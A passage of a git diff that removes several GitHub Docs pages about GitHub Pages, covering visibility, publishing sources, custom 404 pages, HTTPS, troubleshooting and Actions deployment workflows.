don't host {% data variables.product.prodname_pages %} sites on the `github.com` domain. - -You can see your site's unique subdomain in the "Pages" tab of your repository settings. If you're using a static site generator configured to build the site with the repository name as a path, you may need to update the settings for the static site generator when changing the site to private. For more information, see [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site#configuring-a-subdomain) or the documentation for your static site generator. - -To use a shorter and more memorable domain for your privately published site, you can configure a custom domain. For more information, see [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site). - -## Changing the visibility of your {% data variables.product.prodname_pages %} site - -{% data reusables.pages.navigate-site-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.pages.sidebar-pages %} -1. Under "{% data variables.product.prodname_pages %}", select the **{% data variables.product.prodname_pages %} visibility** dropdown menu, then select a visibility. -1. To see your published site, under "{% data variables.product.prodname_pages %}", click **{% octicon "link-external" aria-hidden="true" %} Visit site**. - - ![Screenshot of a confirmation message for {% data variables.product.prodname_pages %} listing the site's URL. On the right, the "Visit site" button is outlined in orange.](/assets/images/help/pages/click-private-pages-url-to-preview.png) - - {% data reusables.pages.twenty-minutes-to-publish %} diff --git a/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md b/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md deleted file mode 100644 index 8f0daa08a502..000000000000 --- a/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: Configuring a publishing source for your GitHub Pages site -intro: 'You can configure your {% data variables.product.prodname_pages %} site to publish when changes are pushed to a specific branch, or you can write a {% data variables.product.prodname_actions %} workflow to publish your site.' -redirect_from: - - /articles/configuring-a-publishing-source-for-github-pages - - /articles/configuring-a-publishing-source-for-your-github-pages-site - - /github/working-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site -product: '{% data reusables.gated-features.pages %}' -permissions: 'People with admin or maintainer permissions for a repository can configure a publishing source for a {% data variables.product.prodname_pages %} site.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pages -shortTitle: Configure publishing source ---- - -## About publishing sources - -{% data reusables.pages.pages-about-publishing-source %} - -{% data reusables.pages.private_pages_are_public_warning %} - -## Publishing from a branch - -1. Make sure the branch you want to use as your publishing source already exists in your repository. -{% data reusables.pages.navigate-site-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.pages.sidebar-pages %} -1. Under "Build and deployment", under "Source", select **Deploy from a branch**. -1. Under "Build and deployment", use the branch dropdown menu and select a publishing source. - ![Screenshot of Pages settings in a {% data variables.product.prodname_dotcom %} repository. A menu to select a branch for a publishing source, labeled "None," is outlined in dark orange.](/assets/images/help/pages/publishing-source-drop-down.png) -1. Optionally, use the folder dropdown menu to select a folder for your publishing source. - ![Screenshot of Pages settings in a {% data variables.product.prodname_dotcom %} repository. A menu to select a folder for a publishing source, labeled "/(root)," is outlined in dark orange.](/assets/images/help/pages/publishing-source-folder-drop-down.png) -1. Click **Save**. - -### Troubleshooting publishing from a branch - -{% data reusables.pages.symlink-removal %} - -{% data reusables.pages.admin-must-push %} - -If you choose the `docs` folder on any branch as your publishing source, then later remove the `/docs` folder from that branch in your repository, your site won't build and you'll get a page build error message for a missing `/docs` folder. For more information, see [AUTOTITLE](/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites#missing-docs-folder). - -{% ifversion build-pages-with-actions %} - -Your {% data variables.product.prodname_pages %} site will always be deployed with a {% data variables.product.prodname_actions %} workflow run, even if you've configured your {% data variables.product.prodname_pages %} site to be built using a different CI tool. Most external CI workflows "deploy" to {% data variables.product.prodname_pages %} by committing the build output to the `gh-pages` branch of the repository, and typically include a `.nojekyll` file. When this happens, the {% data variables.product.prodname_actions %} workflow will detect the state that the branch does not need a build step, and will execute only the steps necessary to deploy the site to {% data variables.product.prodname_pages %} servers. - -To find potential errors with either the build or deployment, you can check the workflow run for your {% data variables.product.prodname_pages %} site by reviewing your repository's workflow runs. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history). For more information about how to re-run the workflow in case of an error, see [AUTOTITLE](/actions/managing-workflow-runs/re-running-workflows-and-jobs). - -{% endif %} - -## Publishing with a custom {% data variables.product.prodname_actions %} workflow - -To configure your site to publish with {% data variables.product.prodname_actions %}: - -{% data reusables.pages.navigate-site-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.pages.sidebar-pages %} -1. Under "Build and deployment", under "Source", select **{% data variables.product.prodname_actions %}**. -1. {% data variables.product.github %} will suggest several workflow templates. If you already have a workflow to publish your site, you can skip this step. Otherwise, choose one of the options to create a {% data variables.product.prodname_actions %} workflow. For more information about creating your custom workflow, see [Creating a custom {% data variables.product.prodname_actions %} workflow to publish your site](#creating-a-custom-github-actions-workflow-to-publish-your-site). - - {% data variables.product.prodname_pages %} does not associate a specific workflow to the {% data variables.product.prodname_pages %} settings. However, the {% data variables.product.prodname_pages %} settings will link to the workflow run that most recently deployed your site. - -### Creating a custom {% data variables.product.prodname_actions %} workflow to publish your site - -For more information about {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions). - -When you configure your site to publish with {% data variables.product.prodname_actions %}, {% data variables.product.github %} will suggest workflow templates for common publishing scenarios. The general flow of a workflow is to: - -1. Trigger whenever there is a push to the default branch of the repository or whenever the workflow is run manually from the Actions tab. -1. Use the [`actions/checkout`](https://github.com/actions/checkout) action to check out the repository contents. -1. If required by your site, build any static site files. -1. Use the [`actions/upload-pages-artifact`](https://github.com/actions/upload-pages-artifact) action to upload the static files as an artifact. -1. If the workflow was triggered by a push to the default branch, use the [`actions/deploy-pages`](https://github.com/actions/deploy-pages) action to deploy the artifact. This step is skipped if the workflow was triggered by a pull request. - -The workflow templates use a deployment environment called `github-pages`. If your repository does not already include an environment called `github-pages`, the environment will be created automatically. We recommend that you add a deployment protection rule so that only the default branch can deploy to this environment. For more information, see [AUTOTITLE](/actions/deployment/targeting-different-environments/using-environments-for-deployment). - -{% ifversion fpt or ghec %} - -> [!NOTE] -> A `CNAME` file in your repository file does not automatically add or remove a custom domain. Instead, you must configure the custom domain through your repository settings or through the API. For more information, see [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site#configuring-a-subdomain) and [AUTOTITLE](/rest/pages#update-information-about-a-github-pages-site). - -{% endif %} - -### Troubleshooting publishing with a custom {% data variables.product.prodname_actions %} workflow - -For information about how to troubleshoot your {% data variables.product.prodname_actions %} workflow, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting). diff --git a/content/pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site.md b/content/pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site.md deleted file mode 100644 index 05cee9ea4e88..000000000000 --- a/content/pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Creating a custom 404 page for your GitHub Pages site -intro: You can display a custom 404 error page when people try to access nonexistent pages on your site. -redirect_from: - - /articles/custom-404-pages - - /articles/creating-a-custom-404-page-for-your-github-pages-site - - /github/working-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site -product: '{% data reusables.gated-features.pages %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pages -shortTitle: Create custom 404 page ---- - -{% data reusables.pages.navigate-site-repo %} -{% data reusables.pages.navigate-publishing-source %} -{% data reusables.files.add-file %} -1. In the file name field, type `404.html` or `404.md`. -1. If you named your file `404.md`, add the following YAML front matter to the beginning of the file: - - ```yaml - --- - permalink: /404.html - --- - ``` - -1. Below the YAML front matter, if present, add the content you want to display on your 404 page. -{% data reusables.files.write_commit_message %} -{% data reusables.files.choose-commit-email %} -{% data reusables.files.choose_commit_branch %} -{% data reusables.files.propose_new_file %} - -## Further reading - -* [Front matter](https://jekyllrb.com/docs/frontmatter) in the Jekyll documentation diff --git a/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md b/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md deleted file mode 100644 index 8cc4bc299693..000000000000 --- a/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: Creating a GitHub Pages site -intro: 'You can create a {% data variables.product.prodname_pages %} site in a new or existing repository.' -redirect_from: - - /articles/creating-pages-manually - - /articles/creating-project-pages-manually - - /articles/creating-project-pages-from-the-command-line - - /articles/creating-project-pages-using-the-command-line - - /articles/creating-a-github-pages-site - - /github/working-with-github-pages/creating-a-github-pages-site -product: '{% data reusables.gated-features.pages %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pages -shortTitle: Create a GitHub Pages site ---- - -{% data reusables.pages.org-owners-can-restrict-pages-creation %} - -## Creating a repository for your site - -{% data reusables.pages.new-or-existing-repo %} - -{% data reusables.repositories.create_new %} -{% data reusables.repositories.owner-drop-down %} -{% indented_data_reference reusables.pages.emu-org-only spaces=3 %} -{% data reusables.pages.create-repo-name %} -{% data reusables.repositories.choose-repo-visibility %} -{% data reusables.repositories.initialize-with-readme %} -{% data reusables.repositories.create-repo %} - -## Creating your site - -{% data reusables.pages.must-have-repo-first %} - -{% data reusables.pages.private_pages_are_public_warning %} - -{% data reusables.pages.navigate-site-repo %} -{% data reusables.pages.decide-publishing-source %} -1. Create the entry file for your site. {% data variables.product.prodname_pages %} will look for an `index.html`, `index.md`, or `README.md` file as the entry file for your site. - - If your publishing source is a branch and folder, the entry file must be at the top level of the source folder on the source branch. For example, if your publishing source is the `/docs` folder on the `main` branch, your entry file must be located in the `/docs` folder on a branch called `main`. - - If your publishing source is a {% data variables.product.prodname_actions %} workflow, the artifact that you deploy must include the entry file at the top level of the artifact. Instead of adding the entry file to your repository, you may choose to have your {% data variables.product.prodname_actions %} workflow generate your entry file when the workflow runs. -{% data reusables.pages.configure-publishing-source %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.pages.sidebar-pages %} -{% data reusables.pages.choose-visibility %} -{% data reusables.pages.visit-site %} -{% data reusables.pages.check-workflow-run %} - -{% data reusables.pages.admin-must-push %} - -## Next steps - -You can add more pages to your site by creating more new files. Each file will be available on your site in the same directory structure as your publishing source. For example, if the publishing source for your project site is the `gh-pages` branch, and you create a new file called `/about/contact-us.md` on the `gh-pages` branch, the file will be available at {% ifversion fpt or ghec %}`https://.github.io//{% else %}`http(s):///pages///{% endif %}about/contact-us.html`. - -You can also add a theme to customize your site’s look and feel. For more information, see [AUTOTITLE](/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll). - -To customize your site even more, you can use Jekyll, a static site generator with built-in support for {% data variables.product.prodname_pages %}. For more information, see [AUTOTITLE](/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll). - -## Further reading - -* [AUTOTITLE](/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository) -* [AUTOTITLE](/repositories/working-with-files/managing-files/creating-new-files) -* [AUTOTITLE](/pages/getting-started-with-github-pages/troubleshooting-404-errors-for-github-pages-sites) diff --git a/content/pages/getting-started-with-github-pages/deleting-a-github-pages-site.md b/content/pages/getting-started-with-github-pages/deleting-a-github-pages-site.md deleted file mode 100644 index b4c83faf03a5..000000000000 --- a/content/pages/getting-started-with-github-pages/deleting-a-github-pages-site.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Deleting a GitHub Pages site -intro: 'You can delete a {% data variables.product.prodname_pages %} site.' -product: '{% data reusables.gated-features.pages %}' -permissions: 'People with admin or maintainer permissions for a repository can delete a {% data variables.product.prodname_pages %} site.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pages -shortTitle: Delete a GitHub Pages site ---- - -## Deleting your site - -You can delete your site in two ways: -* Delete the repository. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/deleting-a-repository). -* Change the source to the `None` branch. For more information, see [Deleting your site by changing the source](#deleting-your-site-by-changing-the-source) below. - -If you want to remove the current deployment of your site but do not want to delete the site, you can unpublish your site. For more information, see [AUTOTITLE](/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site). - -## Deleting your site by changing the source - -{% data reusables.pages.navigate-site-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.pages.sidebar-pages %} -1. Under "Build and deployment", under "Source", select **Deploy from a branch** even if the site is currently using {% data variables.product.prodname_actions %}. -1. Under "Build and deployment", use the branch dropdown menu and select `None` as the publishing source. - ![Screenshot of Pages settings in a {% data variables.product.prodname_dotcom %} repository. A menu to select a branch for a publishing source, labeled "None," is outlined in dark orange.](/assets/images/help/pages/publishing-source-drop-down.png) -1. Click **Save**. diff --git a/content/pages/getting-started-with-github-pages/index.md b/content/pages/getting-started-with-github-pages/index.md deleted file mode 100644 index fd77c4a345e8..000000000000 --- a/content/pages/getting-started-with-github-pages/index.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Getting started with GitHub Pages -intro: 'You can set up a basic {% data variables.product.prodname_pages %} site for yourself, your organization, or your project.' -redirect_from: - - /categories/github-pages-basics - - /articles/additional-customizations-for-github-pages - - /articles/getting-started-with-github-pages - - /github/working-with-github-pages/getting-started-with-github-pages -product: '{% data reusables.gated-features.pages %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pages -children: - - /about-github-pages - - /creating-a-github-pages-site - - /using-custom-workflows-with-github-pages - - /configuring-a-publishing-source-for-your-github-pages-site - - /deleting-a-github-pages-site - - /unpublishing-a-github-pages-site - - /changing-the-visibility-of-your-github-pages-site - - /creating-a-custom-404-page-for-your-github-pages-site - - /securing-your-github-pages-site-with-https - - /using-submodules-with-github-pages - - /troubleshooting-404-errors-for-github-pages-sites -shortTitle: Get started ---- diff --git a/content/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https.md b/content/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https.md deleted file mode 100644 index c98be324fba8..000000000000 --- a/content/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https.md +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Securing your GitHub Pages site with HTTPS -intro: 'HTTPS adds a layer of encryption that prevents others from snooping on or tampering with traffic to your site. You can enforce HTTPS for your {% data variables.product.prodname_pages %} site to transparently redirect all HTTP requests to HTTPS.' -product: '{% data reusables.gated-features.pages %}' -redirect_from: - - /articles/securing-your-github-pages-site-with-https - - /github/working-with-github-pages/securing-your-github-pages-site-with-https -versions: - fpt: '*' - ghec: '*' -topics: - - Pages -shortTitle: Secure site with HTTPS ---- - -People with admin permissions for a repository can enforce HTTPS for a {% data variables.product.prodname_pages %} site. - -## About HTTPS and {% data variables.product.prodname_pages %} - -All {% data variables.product.prodname_pages %} sites, including sites that are correctly configured with a custom domain, support HTTPS and HTTPS enforcement. For more information about custom domains, see [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages) and [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages#https-errors). - -{% data reusables.pages.no_sensitive_data_pages %} - -{% data reusables.pages.private_pages_are_public_warning %} - -> [!NOTE] -> RFC3280 states that the maximum length of the common name should be 64 characters. Therefore, the entire domain name of your {% data variables.product.prodname_pages %} site must be less than 64 characters long for a certificate to be successfully created. - -## Enforcing HTTPS for your {% data variables.product.prodname_pages %} site - -{% data reusables.pages.navigate-site-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.pages.sidebar-pages %} -1. Under "{% data variables.product.prodname_pages %}," select **Enforce HTTPS**. - -## Troubleshooting certificate provisioning ("Certificate not yet created" error) - -When you set or change your custom domain in the Pages settings, an automatic DNS check begins. This check determines if your DNS settings are configured to allow {% data variables.product.prodname_dotcom %} to obtain a certificate automatically. If the check is successful, {% data variables.product.prodname_dotcom %} queues a job to request a TLS certificate from [Let's Encrypt](https://letsencrypt.org/). On receiving a valid certificate, {% data variables.product.prodname_dotcom %} automatically uploads it to the servers that handle TLS termination for Pages. When this process completes successfully, a check mark is displayed beside your custom domain name. - -The process may take some time. If the process has not completed several minutes after you clicked **Save**, try clicking **Remove** next to your custom domain name. Retype the domain name and click **Save** again. This will cancel and restart the provisioning process. - -## Resolving problems with mixed content - -If you enable HTTPS for your {% data variables.product.prodname_pages %} site but your site's HTML still references images, CSS, or JavaScript over HTTP, then your site is serving _mixed content_. Serving mixed content may make your site less secure and cause trouble loading assets. - -To remove your site's mixed content, make sure all your assets are served over HTTPS by changing `http://` to `https://` in your site's HTML. - -Assets are commonly found in the following locations: -* If your site uses Jekyll, your HTML files will probably be found in the `_layouts` folder. -* CSS is usually found in the `` section of your HTML file. -* JavaScript is usually found in the `` section or just before the closing `` tag. -* Images are often found in the `` section. - -> [!TIP] -> If you can't find your assets in your site's source files, try searching your site's source files for `http` in your text editor or on {% data variables.product.github %}. - -### Examples of assets referenced in an HTML file - -| Asset type | HTTP | HTTPS | -|:----------:|:-----------------------------------------:|:---------------------------------:| -| CSS | `` | `` -| JavaScript | `` | `` -| Image | `Logo` | `Logo` - -## Verifying the DNS configuration - -In some cases, a HTTPS certificate will not be able to be generated due to the DNS configuration of your custom domain. This can be caused by extra DNS records, or records not pointing to the IP addresses for {% data variables.product.prodname_pages %}. - -To ensure a HTTPS certificate generates correctly, we recommend the following configurations. Any additional `A`, `AAAA`, `ALIAS`, `ANAME` records with the `@` host, or `CNAME` records pointing to your `www` subdomain or other custom subdomain that you would like to use with {% data variables.product.prodname_pages %} may prevent the HTTPS certificate from generating. - -| Scenario | DNS record type | DNS record name | DNS record value(s) | -|---|---|---|---| -| Apex domain
(`example.com`) | `A` | `@` | `185.199.108.153`
`185.199.109.153`
`185.199.110.153`
`185.199.111.153` | -| Apex domain
(`example.com`) | `AAAA` | `@` | `2606:50c0:8000::153`
`2606:50c0:8001::153`
`2606:50c0:8002::153`
`2606:50c0:8003::153` | -| Apex domain
(`example.com`) | `ALIAS` or `ANAME` | `@` | `USERNAME.github.io` or
`ORGANIZATION.github.io` | -| Subdomain
(`ww​w.example.com`,
`blog.example.com`) | `CNAME` | `SUBDOMAIN.example.com.` | `USERNAME.github.io` or
`ORGANIZATION.github.io` | diff --git a/content/pages/getting-started-with-github-pages/troubleshooting-404-errors-for-github-pages-sites.md b/content/pages/getting-started-with-github-pages/troubleshooting-404-errors-for-github-pages-sites.md deleted file mode 100644 index 97464a26f988..000000000000 --- a/content/pages/getting-started-with-github-pages/troubleshooting-404-errors-for-github-pages-sites.md +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Troubleshooting 404 errors for GitHub Pages sites -intro: 'This guide will help you troubleshoot common reasons you may be seeing a 404 error.' -product: '{% data reusables.gated-features.pages %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pages -shortTitle: Troubleshoot 404 errors ---- - -## Troubleshooting 404 errors - -In this guide you'll find common reasons you may be seeing a 404 error while building your {% data variables.product.prodname_pages %} site. - -* [{% data variables.product.prodname_dotcom %}'s Status page](#githubs-status-page){% ifversion fpt or ghec %} -* [DNS setup](#dns-setup){% endif %} -* [Browser cache](#browser-cache) -* [`index.html` file](#indexhtml-file) -* [Directory contents](#directory-contents){% ifversion fpt or ghec %} -* [Custom domain](#custom-domain){% endif %} -* [Repository](#repository) - -### {% data variables.product.prodname_dotcom %}'s Status page - -If you see a 404 error while building a {% data variables.product.prodname_pages %} site, first check {% data variables.product.prodname_dotcom %}'s [Status page](https://githubstatus.com) for any active incidents. {% ifversion fpt or ghec %} - -### DNS setup - -Make sure {% data variables.product.prodname_dotcom %}'s DNS records are set up correctly with your DNS provider. For more information, see [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site).{% endif %} - -### Browser cache - -If your {% data variables.product.prodname_pages %} site is private and you see a 404 error, you may need to clear your browser's cache. For more information on clearing your cache, see your browser's documentation. - -### `index.html` file - -{% data variables.product.prodname_pages %} will look for an `index.html` file as the entry file for your site. - -* Make sure you have an `index.html` file in the repository for your site on {% data variables.product.github %}. For more information, see [AUTOTITLE](/pages/getting-started-with-github-pages/creating-a-github-pages-site#creating-your-site). -* The entry file must be at the top level of your chosen publishing source. For example, if your publishing source is the `/docs` directory on the `main` branch, your entry file must be located in the `/docs` directory on a branch called `main`. - - If your publishing source is a branch and directory, the entry file must be at the top level of the source directory on the source branch. For example, if your publishing source is the `/docs` directory on the `main` branch, your entry file must be located in the `/docs` directory on a branch called `main`. - - If your publishing source is a {% data variables.product.prodname_actions %} workflow, the artifact that you deploy must include the entry file at the top level of the artifact. Instead of adding the entry file to your repository, you may choose to have your {% data variables.product.prodname_actions %} workflow generate your entry file when the workflow runs. - -* The name of the `index.html` file is case sensitive. For example, `Index.html` will not work. -* The name of the file should be `index.html`, not `index.HTML` or any other variation. - -### Directory contents - -Check that your directory contents are in the root directory. - -{% ifversion fpt or ghec %} - -### Custom domain - -If you're using a custom domain, make sure it's set up correctly. For more information, see [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages). - -* The `CNAME` record should always point to `.github.io` or `.github.io`, excluding the repository name. {% data reusables.pages.contact-dns-provider %} -* If you are able to access your landing page, but encounter broken links throughout, it is likely because you either didn't have a custom domain name before or are reverting back from having a custom domain name. In such cases, changing the routing path does not initiate a rebuild of the page. The recommended solution is to ensure that your site rebuilds automatically when adding or removing a custom domain name. This may involve configuring a commit author and modifying the custom domain name settings.{% endif %} - -### Repository - -Check whether your repository meets the following requirements. - -* The branch you are using to publish your site must be the `main` or default branch. -* The repository must have a commit pushed to it by someone with admin permissions for the repository, such as the repository owner. -* Switching the repository's visibility from public to private or vice versa will change the URL of your {% data variables.product.prodname_pages %} site, which will result in broken links until the site is rebuilt. -* If you are using a private repository for the {% data variables.product.prodname_pages %} site, please check if your {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, or {% data variables.product.prodname_ghe_cloud %} subscription is still active. If you renew the plan, the {% data variables.product.prodname_pages %} site will be automatically re-deployed. Otherwise, you can change your repository's visibility to public to continue using {% data variables.product.prodname_pages %} for free. - -If you are still receiving a 404 error, start a [{% data variables.product.prodname_github_community %} discussion](https://github.com/orgs/community/discussions/categories/pages) in the Pages category. diff --git a/content/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site.md b/content/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site.md deleted file mode 100644 index f0840fa2b921..000000000000 --- a/content/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Unpublishing a GitHub Pages site -intro: 'You can unpublish your {% data variables.product.prodname_pages %} site so that your current deployment is removed and the site is no longer available. This is different from deleting the site.' -redirect_from: - - /articles/how-do-i-unpublish-a-project-page - - /articles/unpublishing-a-project-page - - /articles/unpublishing-a-project-pages-site - - /articles/unpublishing-a-user-pages-site - - /articles/unpublishing-a-github-pages-site - - /github/working-with-github-pages/unpublishing-a-github-pages-site -product: '{% data reusables.gated-features.pages %}' -permissions: 'People with admin or maintainer permissions for a repository can unpublish a {% data variables.product.prodname_pages %} site.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pages -shortTitle: Unpublish Pages site ---- - -When you unpublish your site, your current deployment is removed and the site will no longer be available. Any existing repository settings or content will not be affected. - -Unpublishing a site does not permanently delete the site. For information on deleting a site, see [AUTOTITLE](/pages/getting-started-with-github-pages/deleting-a-github-pages-site). - -{% data reusables.repositories.navigate-to-repo %} -1. Under **{% data variables.product.prodname_pages %}**, next to the **Your site is live at** message, click {% octicon "kebab-horizontal" aria-label="the horizontal kebab icon" %}. -1. In the menu that appears, select **Unpublish site**. - ![Screenshot of {% data variables.product.prodname_pages %} settings with the URL of a live site. On the right under a kebab icon, the "Unpublish site" option is outlined in orange.](/assets/images/help/pages/unpublish-site.png) - -## Re-enabling a site that has been unpublished - -Unpublishing your {% data variables.product.prodname_pages %} site removes your current deployment. To make your site available again, you can create a new deployment. - -### Re-enable using {% data variables.product.prodname_actions %} - -A successful workflow run in the repository for your site will create a new deployment. Trigger a workflow run to redeploy your site. - -### Re-enabling your site when publishing from a branch - -1. Configure your publishing source to publish from a branch of your choosing. For more information, see [AUTOTITLE](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site#publishing-from-a-branch). -1. Commit to your publishing source to create a new deployment. diff --git a/content/pages/getting-started-with-github-pages/using-custom-workflows-with-github-pages.md b/content/pages/getting-started-with-github-pages/using-custom-workflows-with-github-pages.md deleted file mode 100644 index 796edf9e316f..000000000000 --- a/content/pages/getting-started-with-github-pages/using-custom-workflows-with-github-pages.md +++ /dev/null @@ -1,166 +0,0 @@ ---- -title: Using custom workflows with GitHub Pages -intro: 'You can take advantage of using {% data variables.product.prodname_actions %} and {% data variables.product.prodname_pages %} by creating a workflow file or choosing from the predefined workflows.' -product: '{% data reusables.gated-features.pages %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pages -shortTitle: Use custom workflows ---- - -## About custom workflows - -Custom workflows allow {% data variables.product.prodname_pages %} sites to be built via the use of {% data variables.product.prodname_actions %}. You can still select the branch you would like to use via the workflow file, but you are able to do much more with the use of custom workflows. To start using custom workflows you must first enable them for your current repository. For more information, see [AUTOTITLE](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site#publishing-with-a-custom-github-actions-workflow). - -## Configuring the `configure-pages` action - -{% data variables.product.prodname_actions %} enables the use of {% data variables.product.prodname_pages %} through the `configure-pages` action, which also lets you gather different metadata about a website. For more information, see the [`configure-pages`](https://github.com/marketplace/actions/configure-github-pages) action. - -To use the action place this snippet under your `jobs` in the desired workflow. - -```yaml -- name: Configure GitHub Pages - uses: actions/configure-pages@v5 -``` - -This action helps support deployment from any static site generator to {% data variables.product.prodname_pages %}. To make this process less repetitive you can use workflow templates for some of the most widely used static site generators. For more information, see [AUTOTITLE](/actions/learn-github-actions/using-starter-workflows). - -## Configuring the `upload-pages-artifact` action - -The `upload-pages-artifact` actions enables you to package and upload artifacts. The {% data variables.product.prodname_pages %} artifact should be a compressed `gzip` archive containing a single `tar` file. The `tar` file must be under 10GB in size and should not contain any symbolic or hard links. For more information, see the [`upload-pages-artifact`](https://github.com/marketplace/actions/upload-github-pages-artifact) action. - -To use the action in your current workflow place this snippet under `jobs`. - -```yaml -- name: Upload GitHub Pages artifact -{%- ifversion fpt or ghec %} - uses: actions/upload-pages-artifact@v3 -{%- elsif ghes %} - uses: actions/upload-pages-artifact@v2 -{%- endif %} -``` - -## Deploying {% data variables.product.prodname_pages %} artifacts - -The `deploy-pages` action handles the necessary setup for deploying artifacts. To ensure proper functionality, the following requirements should be met: - -* The job must have a minimum of `pages: write` and `id-token: write` permissions. -* The `needs` parameter must be set to the `id` of the build step. Not setting this parameter may result in an independent deployment that continuously searches for an artifact that hasn't been created. -* An `environment` must be established to enforce branch/deployment protection rules. The default environment is `github-pages`. -* To specify the URL of the page as an output, utilize the `url:` field. - -For more information, see the [`deploy-pages`](https://github.com/marketplace/actions/deploy-github-pages-site) action. - -```yaml -# ... - -jobs: - deploy: - permissions: - contents: read - pages: write - id-token: write - runs-on: ubuntu-latest - needs: jekyll-build - environment: - name: github-pages - url: {% raw %}${{steps.deployment.outputs.page_url}}{% endraw %} - steps: - - name: Deploy artifact - id: deployment -{%- ifversion fpt or ghec %} - uses: actions/deploy-pages@v4 -{%- elsif ghes %} - uses: actions/deploy-pages@v3 -{%- endif %} -# ... -``` - -## Linking separate build and deploy jobs - -You can link your `build` and `deploy` jobs in a single workflow file, eliminating the need to create two separate files to get the same result. To get started on your workflow file, under `jobs` you can define a `build` and `deploy` job to execute your jobs. - -```yaml -# ... - -jobs: - # Build job - build: - runs-on: ubuntu-latest - steps: - - name: Checkout - uses: {% data reusables.actions.action-checkout %} - - name: Setup Pages - id: pages - uses: actions/configure-pages@v5 - - name: Build with Jekyll - uses: actions/jekyll-build-pages@v1 - with: - source: ./ - destination: ./_site - - name: Upload artifact -{%- ifversion fpt or ghec %} - uses: actions/upload-pages-artifact@v3 -{%- elsif ghes %} - uses: actions/upload-pages-artifact@v2 -{%- endif %} - - # Deployment job - deploy: - environment: - name: github-pages - url: {% raw %}${{steps.deployment.outputs.page_url}}{% endraw %} - runs-on: ubuntu-latest - needs: build - steps: - - name: Deploy to GitHub Pages - id: deployment -{%- ifversion fpt or ghec %} - uses: actions/deploy-pages@v4 -{%- elsif ghes %} - uses: actions/deploy-pages@v3 -{%- endif %} -# ... -``` - -In certain cases, you might choose to combine everything into a single job, especially if there is no need for a build process. Consequently, you would solely focus on the deployment step. - -```yaml -# ... - -jobs: - # Single deploy job no building - deploy: - environment: - name: github-pages - url: {% raw %}${{steps.deployment.outputs.page_url}}{% endraw %} - runs-on: ubuntu-latest - steps: - - name: Checkout - uses: {% data reusables.actions.action-checkout %} - - name: Setup Pages - uses: actions/configure-pages@v5 - - name: Upload Artifact -{%- ifversion fpt or ghec %} - uses: actions/upload-pages-artifact@v3 -{%- elsif ghes %} - uses: actions/upload-pages-artifact@v2 -{%- endif %} - with: - # upload entire directory - path: '.' - - name: Deploy to GitHub Pages - id: deployment -{%- ifversion fpt or ghec %} - uses: actions/deploy-pages@v4 -{%- elsif ghes %} - uses: 